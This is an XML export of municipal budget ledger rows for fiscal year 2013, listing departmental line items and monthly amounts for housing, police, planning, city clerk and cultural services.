<row _id="113"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13000.0</total></row>
<row _id="114"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>616164.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>616164.0</total></row>
<row _id="115"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>215274.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>215274.0</total></row>
<row _id="116"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20296.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>203</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20499.0</total></row>
<row _id="117"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>402380.0</object><object_description>SELF-INSURANCE, GEN LIAB/AUTO</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-3000000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3000000.0</total></row>
<row _id="118"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>394358.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>394358.0</total></row>
<row _id="119"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8594.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8594.0</total></row>
<row _id="120"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="121"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="122"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>425326.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>81668</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>506994.0</total></row>
<row _id="123"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577720.0</object><object_description>CDBG REIMB-HUMAN SVC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>59500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>59500.0</total></row>
<row _id="124"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400700.0</object><object_description>PARKING CITATION FINES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2013</fiscal_year><july>-14000000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14000000.0</total></row>
<row _id="125"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>404000.0</object><object_description>STC PROGRAM</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-5600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5600.0</total></row>
<row _id="126"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-2100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2100.0</total></row>
<row _id="127"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="128"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>400.0</total></row>
<row _id="129"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="130"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3689.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3689.0</total></row>
<row _id="131"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1400.0</total></row>
<row _id="132"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1074.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1074.0</total></row>
<row _id="133"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>566730.0</object><object_description>REC / PARKS COMMISSION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2783.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2783.0</total></row>
<row _id="134"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>69007.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>690</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>69697.0</total></row>
<row _id="135"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="136"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>746938.0</july><august>0</august><september>0.0</september><october>47940.0</october><november>0</november><december>0</december><january>0.0</january><february>7949</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>802827.0</total></row>
<row _id="137"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="138"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16779.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16779.0</total></row>
<row _id="139"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522520.0</object><object_description>LEGAL ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>63000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>63000.0</total></row>
<row _id="140"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="141"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="142"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>24000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24000.0</total></row>
<row _id="143"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577760.0</object><object_description>CDBG REIMB-HOUSING &amp; ECON DEV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>92000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>92000.0</total></row>
<row _id="144"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400260.0</object><object_description>PROP K TORCA CONVERSION TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-80000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-80000.0</total></row>
<row _id="145"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401250.0</object><object_description>PLAN CHECK FEES-CITY PLANNING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-410938.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-410938.0</total></row>
<row _id="146"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401470.0</object><object_description>DEVELOPMENT AGREEMENTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-175000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-175000.0</total></row>
<row _id="147"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401440.0</object><object_description>POLICE BILLABLE SERVICES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-451547.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-451547.0</total></row>
<row _id="148"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401450.0</object><object_description>POLICE SERVICES/FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-6868.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6868.0</total></row>
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<row _id="151"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
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<row _id="154"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
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<row _id="156"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30849.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30849.0</total></row>
<row _id="157"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>96.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>96.0</total></row>
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<row _id="159"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25171.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25171.0</total></row>
<row _id="160"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5488.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5488.0</total></row>
<row _id="161"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522030.0</object><object_description>INVESTIGATION EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>38000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>38000.0</total></row>
<row _id="162"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522070.0</object><object_description>DEPOSITION COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>56000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56000.0</total></row>
<row _id="163"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5556.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5556.0</total></row>
<row _id="164"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
